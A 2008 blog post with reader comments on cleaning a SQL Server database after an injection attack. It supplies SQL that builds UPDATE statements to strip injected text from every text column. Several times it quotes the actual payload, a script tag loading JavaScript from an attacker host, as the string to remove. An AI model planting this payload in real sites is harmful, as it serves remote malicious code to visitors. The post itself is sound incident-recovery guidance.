How to Fix a SQL Injection Attack
Posted on Friday, 15th August 2008 in Development by Simon
In my previous post, What is a SQL Injection Attack, I gave a brief overview of SQL injection and Cross-Site Scripting (XSS), primarily with regard to websites. In the example given, we saw that an attack could take the form of a ‘hacked’ URL which contained either a literal SQL statement, or a hexadecimal string that could be interpreted by an insecure SQL database server.
Which ever method is used to inject SQL and ultimately dangerous scripts into the database, we need to know how to deal with the problem and ‘roll it back’ to a safe state.
If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.
Programatically Replace Injected Code
Fortunately, by the very nature of an XSS attack, code is appended to the data already in the database — rather than replacing it — which means we simply need to remove the appended content.
Taking a real-world example, below is string that was injected into the database:
"></title><script src="http://1.verynx.cn/w.js"></script><!--
When rendered by a standard HTML page, the string is either displayed to the user agent, or the JavaScript file is called by the page, causing a security threat.
With the example above, we can use the following script to recurse through and create update scripts for every ‘infected’ table and column (of the type char, nchar, varchar and nvarchar), in the database.
SELECT 'UPDATE [' + table_name + ']
SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''"></title><script src="http://1.verynx.cn/w.js"></script><!--'', '''')
WHERE ' + column_name + ' LIKE ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--%'''
FROM information_schema.columns
WHERE (character_maximum_length is not NULL)
AND ([table_name] not like 'dt%')
AND ([table_name] not like 'sys%')The resultset then produces update statements that look like the following (I have masked the actual table and column names):
UPDATE [tableName] SET columnName = REPLACE(CAST(columnName AS VARCHAR(8000)), '"></title><script src="http://1.verynx.cn/w.js"></script><!--', '') WHERE columnName LIKE '%"></title><script src="http://1.verynx.cn/w.js"></script><!--%'
These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.
If the actual code that was injected is different, simply change the above code to suit your needs.
You can download the SQL rollback script for your own needs.
Prevent a Successful Attack
As the popular idiom goes prevention is better than a cure
, I will discuss in my next post how to mitigate against SQL Injection attacks — on ColdFusion-based websites — before they become a problem.
Thank you! That really saved me a lot of time.
[...] – has hit version 0.8. SQL Injection attacks still bugging you? Simon Whatley has posted on how to fix an SQL Injection hack, and also how to protect against a malicious attack in the first place (hat tip to Steve Bryant). [...]
Thank you, it was really useful….
I tried a lot of code to rid my ms sql database of these scripts that were put there from an injection attack. Until now, I had no success, you code saved my DB! Thanks so much. I had a lot of different types of scripts and a lot of table to go through. I ended up using this script:
I went table by table and column by column to make sure I got it all. For future reference, how would you rewrite this script so that I can put the table, column, and offending script in as a variable?
in the previous post, the script got cut out, what I used what the 2nd script and replaced the table name, column name, and injection script I wanted removed. Sometimes simple is better.
Here is derived table approach that can avoid SQL Injection
http://beyondrelational.com/blogs/madhivanan/ar...